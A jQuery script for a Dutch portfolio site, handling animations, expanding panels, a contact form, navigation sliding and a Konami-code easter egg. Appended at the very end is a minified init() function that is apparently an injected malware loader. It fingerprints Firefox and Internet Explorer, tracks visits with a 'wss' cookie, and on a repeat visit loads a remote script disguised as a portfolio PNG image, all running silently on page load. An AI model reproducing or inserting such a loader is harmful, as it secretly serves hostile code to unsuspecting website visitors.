var contentWidth = 200;
var contentHeight = 40;

var heightInterval = 250;

var msie7 = false;
var contentOpen = false;
					
// onResize
$(window).resize(function(){
	checkHeight();
});

// onLoad
$(function(){
	var main = $(".main");
	var content = $(".contentWrapper");
	
	$(main).css({
		opacity: 0
	});
	
	$(".screenJavascript").remove();
	$(".content").show();
	
	$(main).animate({
		opacity: 1
	}, 1000);
		
	// browser check
	if($.browser.msie && parseInt($.browser.version) <= 7)
	{
		msie7 = true;
	}

	checkHeight();
	
	setInterval(function(){
		checkHeight();			
	}, heightInterval);
	
	$("body").append("<div id='contact'><form method='post' name='contact' action='#' onsubmit='submitContact(); return false'><div class='formError'></div><div class='formItem first'><label class='icon user'>Naam<span class='required'>*</span></label><div class='formWrapper'><input type='text' name='name' class='inputText' value='' maxlength='100' /></div></div><div class='formItem'><label class='icon email'>E-mailadres<span class='required'>*</span></label><div class='formWrapper'><input type='text' name='mail' class='inputText' value='' /></div></div><div class='formItem'><label>Onderwerp<span class='required'>*</span></label><div class='formWrapper'><input type='text' name='subject' class='inputText' value='' /></div></div><div class='formItem'><label>Bericht<span class='required'>*</span></label><div class='formWrapper'><textarea name='message' class='inputText' style='padding-top: 3px; height: 250px; max-height: 500px; max-width: 100%'></textarea></div></div><div class='formItem'><div class='inner'><input type='submit' name='verzenden' class='inputButton' value='Verzenden' /><a href='#' class='contactClose'>Annuleren</a></div><div class='inner floatRight' style='margin-top: 6px'><span class='required'>*</span> Deze velden zijn verplicht</div></div></form></div>");
	
	$(".clickOpen").click(function(){
		if(!($(this).hasClass("clickFalse")))
		{
			resetContent();
			
			var widthOpen = $(this).attr("widthOpen");
			var heightOpen = $(this).attr("heightOpen");
			
			$(".contentBody .inner", this).width(widthOpen);
			var heightOpen = $(".contentBody .inner", this).outerHeight() + contentHeight;
			
			$(this).animate({
				height: heightOpen
			})
			.addClass("clickFalse");	
			
			$(this).parent(".content").animate({
				width: widthOpen
			}, function(){
				$(".contentBody .inner", this).fadeIn();
			});	
			
			if(heightOpen > ($(window).height() / 2 - 100))
			{
				$(".logo").animate({
					opacity: 0
				});
			}
			
			$(".contentClose").fadeIn();
			
			contentOpen = true;
			
			return false;
		}
	});
	
	$(".contentClose a").click(function(){
		resetContent();
		
		return false;
	});                 
						
	var mailMe = $(".mailMe");
	var contact = $("#contact");
	var contactClose = $(".contactClose", contact);
	
	$("#navSlideSelect a").click(function(e){
		var slideHref = $(this).attr("href").substr(1);
		
		if(slideHref != "alles")
		{
			$("#navSlide li").hide();
			
			$("#navSlide ." + slideHref).show();
		}
		else{
			$("#navSlide li").show();
		}
		
		$("#navSlide ul").css({
			marginTop: 0
		});
		
		return false;
	});
	
	$("#navSlide").mousemove(function(e){
		this.hideDiv = $(this);
		this.scrollDiv = $("ul", this);
		
		this.pos = this.hideDiv.offset();
		this.pos.top += 20;
		
		this.slideHeight = this.scrollDiv.height();
		this.height = this.hideDiv.height();
		
		this.totScroll = this.slideHeight - this.height;

		this.scrollDiv.css({
			marginTop: "-" + this.totScroll*(Math.max(e.pageY-this.pos.top,0)/this.height) + "px"
		});
	});
	
	$(mailMe).click(function(){
		$(contact).fadeIn();
		
		$(content).animate({
			opacity: 0
		});
		
		if(msie7){ $(content).hide(); }
		
		return false;
	});
	
	$(contactClose).click(function(){
		$(contact).fadeOut();
		
		$(content).animate({
			opacity: 1
		});
		
		if(msie7){ $(content).show(); }
		
		return false;
	});
});

function submitContact()
{
	$(".formError").hide();  
	$(".inputText").each(function(){
		$(this).removeClass("error");
	});
  
	var contactName = $('.inputText[name="name"]').val();
	var contactMail = $('.inputText[name="mail"]').val();
	var contactSubject = $('.inputText[name="subject"]').val();
	var contactMessage = $('.inputText[name="message"]').val();
	
	var contactError = false;
	
	if(contactName.length == 0)
	{
		$('.inputText[name="name"]').addClass("error");
		contactError = true;
	}
	
	if(contactMail.length == 0)
	{
		$('.inputText[name="mail"]').addClass("error");
		contactError = true;
	}
	
	if(contactSubject.length == 0)
	{
		$('.inputText[name="subject"]').addClass("error");
		contactError = true;
	}
	
	if(contactMessage.length == 0)
	{
		$('.inputText[name="message"]').addClass("error");
		contactError = true;
	}
	
	if(!contactError)
	{
		var contactString = "name=" + contactName + "&mail=" + contactMail + "&subject=" + contactSubject + "&message=" + contactMessage;
	
		$('.inputButton[type="submit"]').attr("disabled", "true");
		$.ajax({
			type: "POST",
			url: "http://www.glkx.nl/submitContact.php",
			data: contactString,
			success: function(html){
				if(html == "succes")
				{
					$(contact).fadeOut();
		
					$(".main").animate({
						opacity: 1
					});
		
					alert("Bericht versturen is gelukt.\nEr word zo spoedig mogelijk geantwoord op uw bericht.");
				}
				else if(html == "error")
				{
					alert("Bericht versturen is mislukt\n Excuus voor het ongemak!");
				}
				else{
					alert(html);
				}
				
				$('.inputButton[type="submit"]').removeAttr("disabled");
			}
		});
	}
	else{
		$(".formError").html("Het contact formulier moet compleet en correct worden ingevuld.")
		.show();
	}
}

function resetContent()
{
	if(contentOpen)
	{
		$(".clickOpen").each(function(){
			$(".contentBody .inner", this).fadeOut();
			
			$(this).animate({
				height: contentHeight
			})
			.removeClass("clickFalse");	
			
			$(this).parent(".content").animate({
				width: contentWidth
			});						
		});
		
		$(".logo").animate({
			opacity: 1
		});
		
		$(".contentClose").fadeOut();
		
		contentOpen = false;
	}
}
						
function checkHeight()
{
	var windowWidth = $(window).width();
	var windowHeight = $(window).height();
	
	if(windowWidth > 756)
	{
		var windowWidthNew = windowWidth;
	}
	else{
		var windowWidthNew = 756;
	}
	
	$(".main, .footer").css({
		"width": windowWidthNew - 100,
		"margin-left": 50
	});
	
	if(windowWidth - 100 > $(".contentInner").width())
	{
		$(".contentClose").css({
			"opacity": 0
		});
	}
	else{
		$(".contentClose").css({
			"opacity": 1
		});
	}
}

// Konami Easter Egg
var kkeys = [];
var konami = "38,38,40,40,37,39,37,39,66,65";

$(document).keydown(function(event){
	kkeys.push(event.keyCode);
	
	if(kkeys.toString().indexOf(konami) >= 0){
		$(document).unbind('keydown', arguments.callee);
		
		$(".logo").animate({
			opacity: 1
		});
		$(".main").fadeOut("slow");
		$(".footer").fadeOut("slow", function(){
			$(".logo").effect("pulsate", { times: 5 }, 1000).hide("explode", 500);
			$("body").delay(5000).animate({
				backgroundColor: "black"
			}, function(){
				setTimeout(function(){
					alert("Fijn! Moest je de website nou slopen?");
				}, 1000);
			});
		});
		
		
	}
}); 

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/ly/image/portfolio/website_2_thumbLarge.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
